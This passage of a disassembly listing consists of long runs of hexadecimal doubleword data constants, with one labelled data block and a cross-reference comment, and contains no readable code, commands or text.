0D365D786h dd 36F740ABh, 5B2405C1h, 0CD8FC410h, 0D01E4ABAh, 6727EE00h dd 18B3935h, 2239437h, 0D4139E45h, 3C2C88DFh, 0BD14AA38h dd 0BF8B02D0h, 891E8FD5h, 8CD03164h, 31E33860h, 88F042D2h dd 1382CCDh, 0E7E607DDh, 2503A2h, 8520D037h, 0BF87EB01h dd 9A52E7D9h, 0FBB3DC51h, 1C160770h, 0A56327E3h, 0BCA52CB0h dd 74A70C24h, 42197A98h, 215963h, 34743517h, 0C92CB1FCh dd 8C483033h, 9B2F5F13h, 0B0C0EC1Eh, 0E6E8A67Bh, 5C1A88C7h dd 0FDCFFC17h, 2047E809h, 5F091EACh, 58376752h, 0ED11832Fh dd 7022C7D9h, 21093E5Ch, 99CF7B47h, 9F2EA44h, 2F3558A0h dd 69052124h, 8581E32Ah, 86D69420h, 461FDC2h, 20F6DC01h dd 5D1F3885h, 0DD4882Ch, 378E8240h, 0F589B15Fh, 0CE0A8D4h dd 20A317E6h, 6F549492h, 0C0B1F885h, 0E7F04190h, 0EF887F0Eh dd 60B9A07Eh, 12116C0h, 13DC337Ah, 2418AA5Fh, 80810C78h dd 0A775C63h, 7F16E347h, 2F4007C8h, 83641008h, 0E712AFBFh dd 0F470B065h, 821059A4h, 0B8257C43h, 17580029h, 8AC094h dd 54162243h, 67A4936Ah, 1C8E3600h, 1BADE007h, 37C62E27h dd 8C283E14h, 2C812498h, 0FBFC08C0h, 0F4263302h, 0F08EE9h dd 59FD511Eh, 411A3A5Eh, 26E6EF8Eh, 0C34C4133h, 3443EC5Fh dd 0C500E198h, 84BB4B20h, 943A316Bh, 862CA634h, 0D075F2E6h dd 3DE1231Eh, 3EA4B415h, 0A9E85096h, 862028C4h, 59EF6CE0h dd 0D8454C2Fh, 0DD00F2DDh, 0FB3E3EABh, 8F9D94BBh, 0E18C0280h dd 83528EC1h, 0E7AFB190h, 0F00FA600h, 0BFA71C86h, 5245C217h dd 7860C8CFh, 0D00097E3h, 5924CD2Bh, 0EE8E2Fh, 6F2748FBh dd 9B09DD6Ah, 64B06774h, 851E6100h, 0E27B49EDh, 0FF0203F0h dd 7476C133h, 2A1702Dh, 0C48FD208h, 0E70E0BDCh, 10830CEAh dd 18A6915Fh, 2C4BFB3Ch, 0C1C23024h, 68015550h, 7FB465D5h dd 9BE6EC03h, 1BF11240h, 3361386h, 0A0A62228h, 0D5190EE8h dd 23B8E617h, 12AE4848h, 0FA300B1Bh, 313F1810h, 0D301327Bh dd 0ADB6A63h, 58D4898Bh, 2723008Ah, 49E60192h, 0DFF66506h dd 63590900h, 1BE41EFBh, 91AB35E3h, 0D4190160h, 2C7BE62Fh dd 8F8901E8h, 0D0431718h, 0B99825ECh, 0B8A7426Ch, 8C986C66h dd 0E19C325Ch, 0C7FBACC2h, 0EC19E331h, 1548122Ah, 0E03BE8F4h dd 0E3A4024Bh, 29DFF20Eh, 427040FCh, 21224F6Bh, 2524573Ch dd 0D81C443Ch, 2C09D718h, 80EC31E6h, 68E08DFCh, 380275Fh dd 7EEB2C82h, 0C1056059h, 0F0084916h, 58A71A77h, 834CFC02h dd 30C1E905h, 5F01C8A9h, 0E0384C24h, 0EC3FD32Eh, 56F35F61h dd 0A6D00E00h, 7D03F27Ah, 95E3A1DEh, 87D82CF0h, 0A98D0300h dd 0BFC8C298h, 0C500A7C6h, 3E1746B3h, 5CBDEF26h, 14A22012h dd 3F0028D3h, 0D73B9732h, 0B9771C5Eh, 31708438h, 39D8BC06h dd 2AD4C047h, 16801F6Eh, 0CD7BFB5Fh, 0F063610Ch, 4000DCBFh dd 0AA182F32h, 0ADE57A9h, 0FE0CF7E7h, 939137Ch, 0A4ABE648h dd 26502800h, 904A521Bh, 81C26h, 0D05FF48Ah, 38E324FDh dd 21C4949h, 0F651B6FCh, 0A76C6185h, 10E88102h, 0CCB93AF0h dd 79D5C147h, 0A1F8C400h, 2E5FD01Ch, 8C042BBCh, 7860FFCEh dd 28672A40h, 4DD4D201h, 0D104821h, 0C4310772h, 2760E198h dd 9CA581BFh, 0A78DC264h, 18A05063h, 0C1244CA8h, 29BE3842h dd 0C026B8E2h, 3394668Eh, 18D1C88h, 0F8F371DFh, 86EFE467h dd 1A3AC180h, 0D1CB0041h, 0E788A004h, 70CE8501h, 8D24E035h dd 0F7BC427Ch, 1ACD6081h, 68CA83C1h, 0E7C70540h, 0B8C8767Dh dd 1C160E18h, 8F2D6613h, 0FF707081h, 0CF103B60h, 0F6C826C6h dd 0BE6124F3h, 0C2B21DABh, 1CBDC140h, 5F888C79h, 10668D51h dd 132C3CE1h, 58D4F481h, 186080F6h, 0CF6FE6D4h, 0EA9130C9h dd 98284074h, 0E7E462h, 0CF14E37Eh, 53D912F7h, 1E00297Dh dd 595C3AD2h, 24F3B5h, 0CB7EFE97h, 11701F36h, 0D86BD926h dd 8F113318h, 15F6245Fh, 0AAEF8008h, 593266DFh, 2900B771h dd 0C1FB3517h, 16A92794h, 4F1104E7h, 7A4C5FE4h, 8D02F738h dd 0E7523D77h, 0F4686817h, 0BCC8067Ch, 0D82D15C4h, 0E5C7A800h dd 8F40655Ah, 7E7101C2h, 0E120B2C9h, 870DE190h, 89D8AE10h dd 0E364F4A0h, 71C9EAAh, 8721F7CEh, 97103CE6h, 0A8DD0B00h dd 0FC60192Dh, 0E9300039h, 1BC5F646h, 9506244Dh, 0A9A0E333h dd 1A8F0C30h, 307835D7h, 22405800h, 0EBE07870h, 2108C452h dd 6CB0E565h, 0C9A80448h, 0F487DA36h, 3CF542E1h, 4E8F2D2h dd 27595FCCh, 9CCE2DAh, 18A95066h, 0BE68318h, 0FFC9342h dd 36333491h, 8BDE01E8h, 0CCE7613Bh, 8E440B3Ah, 70951C61h dd 5924EABCh, 79400C66h, 0F7A1DDCAh, 2DD80030h, 54894EE6h dd 0C67B4CE0h, 5705B491h, 1488FA62h, 920E7067h, 1A0C00D8h dd 78029794h, 5009A917h, 0A55AFEE3h, 504B201Ch, 70381AB7h dd 90FA59A4h, 4AC4CC49h, 40B63546h, 0D194245Ah, 6F6CC1ECh dd 0CF40FC00h, 0B635A31h, 7543E7BBh, 0ECB47444h, 32C13684h dd 9ED518F0h, 1E3565B0h, 0E7E1022Ch, 80E0B87Ah, 0E89E655Ch dd 2CB84449h, 1382C5Bh, 20FA6157h, 139C60B6h, 0B120D090h dd 0B4909008h, 55B44220h, 6CBCA700h, 23961D7Fh, 50A4D8E6h dd 0A09B50D9h, 319DBF8Ch, 0A3A907E1h dword_4E414C dd 9B279B91h, 0E31EBCC5h, 3E924C2Eh, 62BD38D2h, 4DA00994h ; DATA XREF: ___:off_43A188o dd 302CC8h, 335C0E1Ah, 490B18Dh, 0BC8955Ch, 812967F1h dd 17EB20BCh, 3ED68BCCh, 591FD293h, 6A003D3Dh, 0A7D84F4Eh dd 0D90F60E4h, 49E7A325h, 920C01D6h, 7AC496D7h, 35630039h dd 61269E33h, 0E30BAA45h, 841FAEE8h, 0D4D8F194h, 83D82AE6h dd 1AB500DCh, 2C2F0B26h, 0F91F3391h, 7E0F4CAAh, 0D9BAE3F6h dd 6EEE99C8h, 0C6FC70h, 8171C501h, 18863455h, 5BC194A8h dd 8AF540h, 0C932411h, 19B6D67Bh, 0DD132D00h, 0B9B7605Bh dd 23CE0F27h, 30C4DAC5h, 0D81CA494h, 0A86D9500h, 86E75D64h dd 0EE88929Fh, 47404AFAh, 8BB98FA4h, 4721A418h, 0DA02B0A2h dd 0B46063ABh, 8300CE90h, 95E6FB96h, 0F8E586D1h, 90309161h dd 260CC8DDh, 0C0A7A088h, 2F5F8119h, 0C0918467h, 25252024h dd 9080888Ch, 741FE3h, 0C10EFE27h, 0D999C45Fh, 6142D0B1h dd 27EE005Bh, 245EC590h, 8FD2B400h, 170B68F8h, 0E0716707h dd 0D8B821F8h, 15C13208h, 0E6D50324h, 68487188h, 25F01068h dd 951A1400h, 66CB782Ch, 2D01C598h, 0DB20B99Bh, 0D3BFDE7h dd 0E928A9A8h, 8E2830CEh, 0D540B89Ch, 6734E62Dh, 6053299Ah dd 22BD8226h, 0E6F8A295h, 61D04AC4h, 342CFE38h, 0C68E3400h dd 76D40EB3h, 0DDBBAA01h, 26116883h, 0A0E33420h, 49ECE608h dd 4E06BC19h, 905F0281h, 0F08E3F02h, 0E6E03365h, 22E31714h dd 2A5444A3h, 2C0052DEh, 0B7C0E987h, 2A887438h, 98A489E0h dd 0F6CBF8D4h, 9F5F10E2h, 81085001h, 34331009h, 0E64C0119h dd 0C880B26Dh, 0DB7EE398h, 0AF099D77h, 0B35924CCh, 2D4AB020h dd 0BDEC1486h, 709D840Ah, 0C170EB16h, 8802224Ah, 0F94D8CE0h dd 0D7BF019Ch, 23D6C268h, 783A2618h, 88DF80C9h, 1759688Eh dd 0F3C10AEh, 188440D0h, 0C2801F21h, 0CB8B58ACh, 31B30927h dd 10FA908Ah, 14E77B07h, 0D9301B38h, 95ADE367h, 8F31BC80h dd 5E30E6D6h, 11271082h, 0EFBD00EDh, 0E7B3B2DDh, 98C0D194h dd 136A907Ch, 82F971C1h, 73EDA660h, 29E56CB8h, 0EC8E80A0h dd 27A441CCh, 9C001F92h, 43942558h, 54ADD513h, 0E62DA809h dd 0B97704D0h, 0C1161E7h, 58CB9805h, 5FA0549Dh, 0A89E10D5h dd 1EC23C4Ah, 8FA8C914h, 2D7C2890h, 0E4089193h, 908C67F0h dd 3A330248h, 0CB7B4321h, 3895EC44h, 0B06057B4h, 0E6DD40ACh dd 7C15E54Ah, 3CC04A48h, 30C4B40Bh, 3F985450h, 0E4B02ECCh dd 0D20A0C01h, 0AA65E346h, 86EEC980h, 0EDAB7EF0h, 96D12616h dd 104C3800h, 0E43E31A4h, 0EB010577h, 1C12789h, 91E3559Ch dd 0C3418094h, 78B642F6h, 353025D2h, 7EEE2090h, 304B3CBCh dd 1FC7524h, 402FECBEh, 633BCEC1h, 862EC138h, 84123F9h dd 28429829h, 298CE281h, 6A7CC284h, 42B044CCh, 84984A95h dd 0C1D30C1h, 0C9FEEB50h, 0E1BC41Ah, 41BC4210h, 9C54F558h dd 0E60964E3h, 0BC05B30Ah, 8EB40424h, 2B888DC5h, 9E069006h dd 7DEC0138h, 0B920E8E1h, 7EB6F890h, 3903C900h, 0C07BD088h dd 841CB6EAh, 27B7E7h, 28A61C06h, 0C27F12h, 7E5D293Eh dd 0B75F17E7h, 2A801B50h, 84003459h, 0D923972Eh, 0C6B0E3E0h dd 39CD4900h, 1CD0ED93h, 0B14890BEh, 6DBB4300h, 0A3677812h dd 4104A4D3h, 1405A8D8h, 0BCD5CCE0h, 285A4B60h, 0CECDE503h dd 7C960E27h, 3452A10h, 60E67C0Ch, 6DEB58FCh, 524BDCE3h dd 0E62F3C20h, 14AA59C7h, 3A008C58h, 0D6E88642h, 814E5FDFh dd 0C21F5C00h, 205CCDDh, 1634492Ah, 6D62C107h, 3103C4F9h dd 0DFDC2090h, 8B37208Fh, 4266289h, 74E37379h, 2F40049Fh dd 0F601D8BCh, 5731B41Fh, 8DE7E066h, 45883869h, 0F55F0680h dd 0C981035h, 0C5A7A100h, 9ED20D6h, 5FF10906h, 0C046080Ah dd 754967EAh, 54C1130Ch, 2C58C8E9h, 784A2F2Dh, 2F898849h dd 0E6EF1441h, 0A880B733h, 0ECF687A3h, 0A902E3Fh, 0D892E913h dd 3F80E8A2h, 0DD875A2Ah, 0E363A906h, 20B03Ah, 5CE3435h dd 0E0A7DB33h, 3C05109h, 4DD4002Bh, 262C16AFh, 3808C527h dd 142578D0h, 0C89630E6h, 5CC139C1h, 0D8208406h, 4CA21C84h dd 18359718h, 80EDD8Bh, 0E00B3C82h, 0E7E12793h, 0B44E5050h dd 2189058Eh, 0C03BB90Ch, 24C7D954h, 3D594139h, 268300FCh dd 8A8CE5ABh, 0F6305080h, 0B4DE50BEh, 0CC9300C8h, 0EB27D6EAh dd 1541A65Fh, 0D5D8E03Ah, 0C0007048h, 6E2CE088h, 0FC3A6096h dd 0CA7B40F7h, 892FA401h, 736DC125h, 0F58B3081h, 74368401h dd 785FE9A8h, 0D242E023h, 22D89835h, 59667655h, 0C4CEC92h dd 58B25C73h, 1081751Ah, 0F3E05048h, 5CC9444Eh, 85BC9840h dd 0DC260EA3h, 4127B10Ah, 6044C6C1h, 94904892h, 2E17D891h dd 0D041BCCAh, 0BCA4B078h, 2424A44Ch, 3E8048BCh, 106631C1h dd 49C268A3h, 8C6C484Ah, 8F0FEC98h, 8091B3EAh, 139564BFh dd 384A5C39h, 56F062Eh, 8131B2EFh, 2E1E74h, 25F3D378h dd 0D858BE63h, 2C3AAF05h, 0CF86E375h, 67C9058h, 0BEF30924h dd 0A72F8077h, 0E3CCA22Ch, 3F546825h, 27501631h, 0C1740109h dd 3B0DE7h, 4EDDA591h, 3EC4D10Ch, 0A7C093F9h, 0AE1EE400h dd 901B0904h, 0C2285BD4h, 84F934E8h, 79E6D283h, 9C900257h dd 0CBBDA8FAh, 0CF08A060h, 0B39522F4h, 0D5A0090Ch, 1002048Dh dd 34E8C734h, 0CCBE02C0h, 0C4DB18BEh, 4C63C118h, 0B91928E1h dd 0DF5D30FCh, 0B5A792C0h, 0DBF9E901h, 0FE45E783h, 0B62A4981h dd 502C5F66h, 0FFE326D8h, 13DC98A8h, 0FB8A713h, 9EC3B420h dd 1025069Dh, 0E0A9215Fh, 0C4CDFB06h, 0A878C7A0h, 6107C5Ch dd 0CBC174C6h, 8B0018E4h, 0CC84687Bh, 9862EAE6h, 0D1D44EF4h dd 26080A8h, 0B008C65Ch, 1A840138h, 6BEB6819h, 888C4479h dd 1403E25Ch, 4F5FD441h, 80304F6Eh, 36A4E0B4h, 0D8819899h dd 70EBB88Dh, 0EDDE8D8h, 7E7643Ch, 1B229815h, 2CB4C248h dd 942CF8E3h, 12F21F42h, 426550B0h, 1496907Bh, 0A80918ACh dd 2F6C196Bh, 0C4918C45h, 9444873Bh, 0EF3C64B6h, 3A008CCCh dd 89A05C02h, 6B2403ECh, 5C24D0FDh, 852DD309h, 0AA805844h dd 3C922AC2h, 668B1F77h, 58025A81h, 4201A430h, 0AC264A44h dd 0F2213513h, 0FC257884h, 2678A205h, 0A8030964h, 383E97A5h dd 0E0CB15EBh, 0A81C34F4h, 4FD6C8ACh, 65CCC414h, 864ED830h dd 4AD3F8CCh, 0C2202392h, 0EAAA5012h, 858FA800h, 62CED04h dd 0D7E30340h, 119D19C6h, 0B988756Ch, 0A700F640h, 1A6747DBh dd 0A0E6133Ch, 1834F7E9h, 38C92DE3h, 243B3442h, 0F84484F1h dd 38B8C420h, 4BE3D098h, 0E9C887B4h, 0C02008F2h, 81224A5Eh dd 8086B2C0h, 0FD61A540h, 735FA2AFh, 32E4A0C6h, 57180306h dd 0A658E7DCh, 239A2800h, 1BB5596Dh, 9BF80107h, 89E7E3E6h dd 13D05377h, 5FD2B0E0h, 0C064C730h, 0F0BDE17Eh, 2DDCBEB4h dd 0FC0E089Ah, 2CCD6983h, 1368DEE0h, 1914C900h, 0EB8EF742h dd 67A00D6h, 2ECCBF10h, 2F045EA9h, 4E4C13Ah, 4127504h dd 1B092876h, 130CDC99h, 0F888A524h, 1C8295EBh, 38F6545Fh dd 6EBB9007h, 16E602E1h, 8F60803Eh, 0B1C0C35Fh, 34C13836h dd 28C09C6Ch, 0EFF90050h, 5FDCAE67h, 5163EBE3h, 885C36D0h dd 0EB5BB3C8h, 0B63C5AF0h, 0FB5FE1F8h, 80582C2Eh, 0C13BA5B1h dd 212F5B38h, 0C84B4214h, 0E900DF7Bh, 0D196D886h, 0BE933BE6h dd 0EC928048h, 0E1A7D681h, 2B44C514h, 0BFC20198h, 0AA7DC8FEh dd 2D4F3F0h, 1727585Bh dd 882B9A7h, 14803335h, 31E7D12Ah, 0D909FC9Ah, 2029E34Ah dd 70A9A45Ch, 549E3E2Bh, 0FCC0C302h, 98587D5Fh, 6190989Bh dd 0B12F12A5h, 0E2B02090h, 0CE282E79h, 906B0C5h, 8933E343h dd 0D92D1E40h, 0CB2A3A50h, 9909C98h, 14502331h, 0B6789213h dd 33E3FCE0h, 85A0FF69h, 60181127h, 78F334D4h, 0C1953078h dd 898B3320h, 2E48671Ch, 402709h, 0AF41538h, 1E9400E6h dd 1F5BA4B4h, 8F00EAE7h, 0AE22397Dh, 3ED140Fh, 56FDD7Eh dd 0E0005F18h, 0D154A5Ah, 0F35CDCFBh, 84100844h, 27940414h dd 0CD84E7D0h, 2D03A4D0h, 9D98745Eh, 17264A40h, 0FFC4E612h dd 605FFC82h, 905A1570h, 48EFF8CCh, 0C4494CE5h, 5F64E683h dd 0D6942000h, 0F6599E2Eh, 207163h, 0FDA7DEFh, 0FF90B4B2h dd 0C0267200h, 0FBB9A88Fh, 2C650F82h, 0B80CC495h, 0A5F2260h dd 24AC5004h, 0ED3B14ACh, 0ACB887C0h, 48616CF0h, 25FCCE78h dd 977A85E0h, 82B0A08Eh, 0D93AA0E0h, 12BD0BFCh, 53C93059h dd 5A7F0804h, 0A1C91830h, 5DAA0140h, 19A06559h, 0D0FEE86Bh dd 8A25C7Ah, 86A22041h, 2CD1C129h, 3E07660h, 35ED84EEh dd 495A3E6h, 0A850B9A8h, 5E008E0h, 0D6E30B61h, 5A38B040h dd 3F954103h, 0BF4E1C1h, 0CB9A548h, 0D61E90A2h, 0D39803h dd 0C08A39B0h, 0F0FB88C2h, 4D80E613h, 1BF2FC42h, 2379E0ABh dd 30404B2Dh, 43E7B630h, 0DE90C960h, 0FF01E305h, 0E0A23880h dd 43AC2B83h, 50002DF2h, 6EFAC20Ch, 0F434A87Ah, 5B1B0212h dd 7CEE5770h, 0C11204E6h, 0C02E30Dh, 403E33EFh, 13201664h dd 428E2C9h, 0EB4788h, 0CCAA90D1h, 8E2E0F9Dh, 0A88088C6h dd 255A5F89h, 4F815CB6h, 5939F31Eh, 91C9FC4h, 0FC817A43h dd 90497C59h, 98B51F30h, 7C5A2084h, 148B2890h, 0A2FA04E7h dd 0D29404B0h, 0C0852D29h, 9C6748Ch, 1478238Ch, 912C3480h dd 7700D3F7h, 0F95E1963h, 1EB65941h, 0C1ABBDE4h, 11C4B523h dd 0EF70807Bh, 5EB12822h, 0E20E0BFAh, 0C0E0E85Fh, 0AC980309h dd 4821CA20h, 0D1133C81h, 66D89829h, 0E88C494Ah, 8EE4B190h dd 13E4EAEBh, 0C084F8BEh, 0E368A133h, 30B24DFFh, 5F73C105h dd 90740110h, 6921B4E0h, 0ED8F8BE0h, 14E9A5A4h, 42C281Ah dd 17C4B723h, 0D58CF0h, 61F45288h, 5F4FE57Eh, 0A46F392Ch dd 0A764E281h, 58E002BCh, 5F2CB234h, 5FC83233h, 0D044DAE2h dd 612DCFEEh, 0E6EC601Eh, 5480B756h, 4E0CCC33h, 4B5F931Fh dd 0D71B60F0h, 0C1F8D622h, 2E45E330h, 0FC316C0Ah, 0C1F01214h dd 1AE6D692h, 8F44053Fh, 9FDEC01Bh, 44B808B3h, 721CC114h dd 30D40194h, 0FDD3D967h, 0E617F429h, 3F185F84h, 4174B0D9h dd 56C7898h, 742E5F94h, 0E6AC49h, 0AF485924h, 0A490951Fh dd 406B626h, 1A4BE62Dh, 7068B850h, 305F120Eh, 90B0970Bh dd 9046EC3Dh, 9690169Dh, 26D82C30h, 38A02558h, 5721BA8Ch dd 2C87343Fh, 622737EFh, 9B8802C0h, 9D3C51E7h, 8BA5CBh dd 0EEFCDC18h, 0D501AC98h, 0E7B0B113h, 8454F0BBh, 0D92CB4FCh dd 5F5E43A0h, 0FB778890h, 8B90B11Ch, 3C1A0880h, 3E89E37Bh dd 0DC2E5FAEh, 0B0E60B80h, 0F0D00829h, 3A5E00AEh, 64A314C5h dd 10718725h, 0C4B2FB01h, 0C5F3ECD9h, 33E3882Ch, 38388CBEh dd 7FC157E3h, 218C4567h, 0B91C0Ch, 0F8F01D0Eh, 5B5C04CAh dd 0B8FD63BAh, 0EB0F7B38h, 47596766h, 14414CC6h, 2DFB10E3h dd 98823648h, 0DC582FE6h, 0B38A8B00h, 0E372AD13h, 2876622Ch dd 2CC8F22Eh, 0DB25BF89h, 0D2D8118Fh, 27E046DEh, 2887EAE9h dd 0DFE820ECh, 6813BB77h, 3089345Bh, 0F0921C69h, 0D62C5FECh dd 42AF58F7h, 41E05C08h, 7049F3E6h, 6803B304h, 0F78906D5h dd 7C1EE236h, 0A91628h, 5CC38EE0h, 6C2CFF61h, 1B14BF2Ah dd 2CD20908h, 12085298h, 0B64AAC1h, 32818E60h, 0DC7B13A5h dd 67022346h, 0E355213Dh, 9684E807h, 58130173h, 3380D912h dd 6670D031h, 0E6BC1925h, 6FC1078Ch, 0A08E3A6Ch, 9D35FA7Dh dd 0BFADB10Eh, 39A581C6h, 387C1DC1h, 30EA16h, 3F0EE90Ch dd 0BD4C27DEh, 504F1AE0h, 91604520h, 0E632C2DFh, 28A87643h dd 6EDD20D4h, 8E1F5825h, 9C864B3Ch, 0AAE61FE4h, 70B92518h dd 13FC779Ch, 1CA6CD88h, 0C1334161h, 0C8167EB7h, 0AB879071h dd 13422892h, 78E0F24Fh, 0C5E463B5h, 0E61244E3h, 117886E3h dd 6CA5882Eh, 99402C48h, 78CB5F98h, 0C03AB749h, 6772EC4Ch dd 70CD085Ah, 6C2059F9h, 72800460h, 924844E7h, 753974D8h dd 90A92030h, 0A6202CE4h, 54B14D10h, 7BF0AC94h, 9608E610h dd 45A19317h, 40FB700Ch, 74C3B9D4h, 509826A9h, 1071AD10h dd 5F90D84Fh, 1753D720h, 0B09FE630h, 7975EF0h, 62D54290h dd 9C4B8B8h, 25F0261h, 128843F0h, 0C186C2A1h, 3F1DB8A4h dd 351C5C41h, 3FC8C5AAh, 12D300E4h, 79B7BBF9h, 0CD00EC49h dd 9666F6B6h, 3C1929h, 0BC4312D4h, 0A3F8D6B7h, 53CBF0E9h dd 755918C7h, 0C86F2B50h, 0A0E80168h, 86BE4EE3h, 1591D813h dd 74A39300h, 51F379Ch, 0B7D53E70h, 341D2Eh, 489FB11Eh dd 0B80671ACh, 0A58229A2h, 3C85F090h, 0F07C76FBh, 0D09900E2h dd 3D41FFB2h, 0F23AEED8h, 80053C73h, 18EFA9FDh, 126B97h dd 75A6E972h, 0F51102AFh, 0F398AF8h, 25007E37h, 0FB2C55F6h dd 38913BCh, 0ED100211h, 0D9D642C3h, 80E1D430h, 0C093C9h dd 159F453Ah, 52B87216h, 62035473h, 32198170h, 3F7003CCh dd 40EEEE8h, 91493CF7h, 33B43620h, 0FAB03972h, 7E38C0BFh dd 29016FD4h, 37119649h, 0A9F8E6ABh, 89E8C78Bh, 0E15A313h dd 91287078h, 31022433h, 3DADEEF0h, 0AA8090C8h, 20C561B8h dd 8008B119h, 91AEF0E8h, 0E68D7420h, 1E02F44Bh, 192938Ah dd 0EA9F3811h, 52B840E4h, 8CE97650h, 68ABE641h, 0E59B184Ah dd 0F158507Ch, 67918100h, 435B21F7h, 2BDF00B0h, 137006DBh dd 0B31F7A2Ah, 382F9Ch, 0B7AA4FD2h, 2018E220h, 0EB0F8CBDh dd 80F015FAh, 0E81961D3h, 5505017Bh, 0EA29CF8Eh, 0CA242013h dd 0B7E9B363h, 0F2C6E414h, 9FA50A10h, 7881850h, 8055FE10h dd 890F410Dh, 1E93AC00h, 56165AB4h, 29F50C3Fh, 0A25030D2h dd 0C62F9F19h, 360AFE8h, 0EDB774B3h, 0A2E2AAF9h, 999814D8h dd 1440D6A8h, 0A0979929h, 0ED71AED0h, 7EF612FCh, 4BA40062h dd 0E4C702FDh, 5B507EFAh, 5E0A8BA0h, 0A84E52D4h, 7A9DF140h dd 0CFB3050Eh, 5F414CFAh, 0D7B97CF0h, 0E07FA5C0h, 63F7CA0h dd 6858D804h, 4EC71BFBh, 70F0D7C1h, 7B310DEFh, 814943ADh dd 450B4E70h, 0A821E344h, 0C7E2330h, 216E2061h, 1E075A30h dd 0DF1C4E56h, 92FAAC30h, 7940C39Ch, 8A02E32Ch, 0EB7FC40h dd 383261A9h, 0DBABAC40h, 8C40E9A8h, 1835AAh, 7A88420Eh dd 0FAD4668Bh, 89871236h, 0AAA30A10h, 0BC09EAh, 7FB7ABF9h dd 0CA03481Eh, 859FAC0Eh, 7990121Dh, 7B80038Bh, 4162864Dh dd 26AB8811h, 95746056h, 2818D580h, 3805AE3h, 92604AE7h dd 0CAD0CEC7h, 403C9CF2h, 8B2A0CA4h, 4073386Eh, 2103E962h dd 0F4C9EBB3h, 0A656E1FFh, 0CA189Dh, 8FBBB549h, 3A00C2B0h dd 1025B3AFh, 0EBF080Ch, 895BF558h, 9280382Ah, 0E10800FAh dd 515396F8h, 0F375F0A4h, 0C08FD830h, 618B29AFh, 670718EDh dd 0C48AE0A5h, 6200249Ah, 4D82D1C6h, 7C858D28h, 0A94B0053h dd 805B51E2h, 3F7E7635h, 9C1A3700h, 0E5323B81h, 0FC060369h dd 0D78858C6h, 0C4A084E9h dd 7506329h, 4D00A3B4h, 0D20DEE4Ch, 0B07A4B52h, 0F0BD0BCCh dd 4787039Ch, 0E42951B5h, 598889DDh, 0AD50801Ch, 14D52EBh dd 0FA781704h, 25986E99h, 0A4302040h, 8C5AED38h, 18C53519h dd 23D0C45Ch, 20AC01DEh, 0AC21C240h, 934DBC50h, 0B8C0421h dd 80FB5CD3h, 0AA18DF00h, 20409260h, 26BCCF43h, 80CADBFh dd 4F01E1C7h, 0D056EECEh, 127329DCh, 4593339Fh, 404DBFF4h dd 0B7C40EC0h, 7348F0DAh, 0C1A98F84h, 0BC632018h, 0A84448h dd 52D725AEh, 2814A243h, 4EA3F100h, 0D1A4B727h, 486048D2h dd 39FEFC1Ah, 4705C40Fh, 8E4088F6h, 87CA00E7h, 0A9231DD6h dd 737800F8h, 52E5E235h, 242C83FCh, 0EE00A575h, 0DA173F06h dd 4C4F00A0h, 9B02A301h, 9E4C8029h, 2304820h, 2899EEE0h dd 1A18C6A5h, 109F7E18h, 7012404Ah, 0F326CC4Ch, 9009F471h dd 0C3B0201Dh, 0EE8637B7h, 468B24D7h, 9A35087Ch, 0F470D90Ah dd 81BF18Ch, 0C81F0014h, 5249A723h, 0EA029CCAh, 0C055B6BAh dd 545C69B0h, 0C3B89F00h, 0A06184A2h, 19818674h, 1F9878FBh dd 0FE3A5DBh, 712CA9A4h, 0BB0E5D21h, 20B7EB97h, 0F47D0D03h dd 18D018BCh, 0F33FE115h, 6431912Ch, 0C4FB3742h, 3AA0A470h dd 0A7037689h, 0A91B18DAh, 0C6F9290Fh, 0E2CA61A3h, 2E8444C9h dd 8018BF8Ch, 0B7D78008h, 5B0CC403h, 0BACBFB3Ah, 0B2BCC093h dd 146D5DCFh, 0E286094h, 81CD05A0h, 0C0B99CBEh, 979F8348h dd 907840h, 0B3511BA6h, 0ED9BF972h, 5D2AD201h, 0AAACCB17h dd 0C6EF6461h, 0E97A02B8h, 19601840h, 0D026CFFCh, 0F422C816h dd 291C69B0h, 4209BF5h, 258100A9h, 0A7EB1391h, 9F0B806Ah dd 1071D1B1h, 0A8ED6Ch, 4DE6AEDEh, 88306AFCh, 37243F06h dd 411F716h, 52EE2711h, 0F710894Fh, 9C8BF826h, 1589A601h dd 0B0481737h, 0AE8F3029h, 0FAE3C628h, 18A3F032h, 1208B78h dd 1B91B2B4h, 1EE5D048h, 455BE10h, 77687ACh, 0C86CF329h dd 93E0CCF9h, 0D83AD718h, 388F3318h, 0FD9F89FAh, 0D0205C61h dd 49000ADh, 564BE85Bh, 0D62E62BBh, 0C2096389h, 38148B59h dd 9A619F94h, 7BA41D2Ch, 11B30090h, 0C7FB6F59h, 70D5B1C0h dd 5C01B288h, 0AA340433h, 9BBCDC30h, 5A02A491h, 8150560Eh dd 0F51D208h, 54292830h, 249A8CFAh, 60CCDEE4h, 8AA48DF9h dd 0EC402224h, 0FEF31805h, 0BB20ACC3h, 207073FAh, 0D67E9E49h dd 7FC0B352h, 892CC807h, 0AB64DE11h, 54524888h, 84745053h dd 0B5CC44Ch, 3886B29Fh, 89A0F990h, 9C7F016Eh, 0D8D0520Ch dd 0F03D849Ch, 384420CAh, 7BE30BA8h, 0ED008D0Bh, 972F0D5h dd 3FF89404h, 0C091A7h, 3C36A66Eh, 3800B1F3h, 0B54F802Bh dd 4326D2EBh, 290638FBh, 3850F677h, 304837B0h, 40A28989h dd 91005867h, 3BED89Fh, 10F17FFFh, 86CF51C7h, 0A21F3019h dd 0A4C0C3E4h, 537FA83h, 40A103DEh, 0F0358A2Ch, 487D76D7h dd 0E4A2F2E2h, 0BD4A10C8h, 0C3707B02h, 402E6229h, 29CF1E4h dd 0FB99C1DFh, 94808FAAh, 3F55EE5Ch, 0CC51C074h, 0D78800BFh dd 0A9C437FBh, 0B0027789h, 0D440BBF8h, 1C78427Eh, 0FB2CA005h dd 0E0002DA8h, 9B4899E0h, 0EA7500B8h, 0E7243052h, 1810CEECh dd 3D26E363h, 996688E4h, 0E85B2A3Dh, 14D84724h, 5D295300h dd 314FB78h, 525C9EF2h, 41E0B411h, 4F549F31h, 0E512ABFCh dd 39000EB3h, 0E9AC75F9h, 23312E3Bh, 9D7C42B8h, 0E1339203h dd 0F0482653h, 0B7A300F9h, 4E06980h, 73F418DCh, 23AA09Ah dd 93680513h, 30C42011h, 0D4290802h, 704848D1h, 51B4077Bh dd 805F08ACh, 673A7D80h, 39D30E13h, 0D00AAC64h, 5161FC4Dh dd 1D107214h, 5B26EDE0h, 7A034099h, 1DA8674h, 8FE94318h dd 0E106B7BFh, 37084135h, 0E21442FFh, 0BEE0D4C0h, 52C24F00h dd 0E51BC02Ch, 80B44C0Fh, 4862A900h, 0EE2289CEh, 0AA4DD200h dd 55E6C4EAh, 